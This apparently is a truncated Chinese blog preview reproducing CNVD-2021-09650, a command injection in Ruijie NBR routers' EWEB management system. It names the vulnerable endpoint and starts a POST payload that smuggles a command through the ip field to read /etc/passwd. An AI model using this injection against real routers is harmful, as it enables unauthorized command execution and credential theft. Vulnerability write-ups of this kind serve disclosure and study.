锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell漏洞编号:CNVD-2021-09650漏洞描述:锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,导致远程命令执行获取漏洞影响:锐捷NBR路由器 EWEB网关系统漏洞复现:首先打开网关系统然后在URL后面加 /guest_auth/guestIsUp.php,此路径为漏洞存在地。我们打开hacker Bar,在Post data 输入 mac=1&ip=127.0.0.1|cat /etc/pas
原创
2021-08-04 01:18:34 ·
10176 阅读 ·
2 评论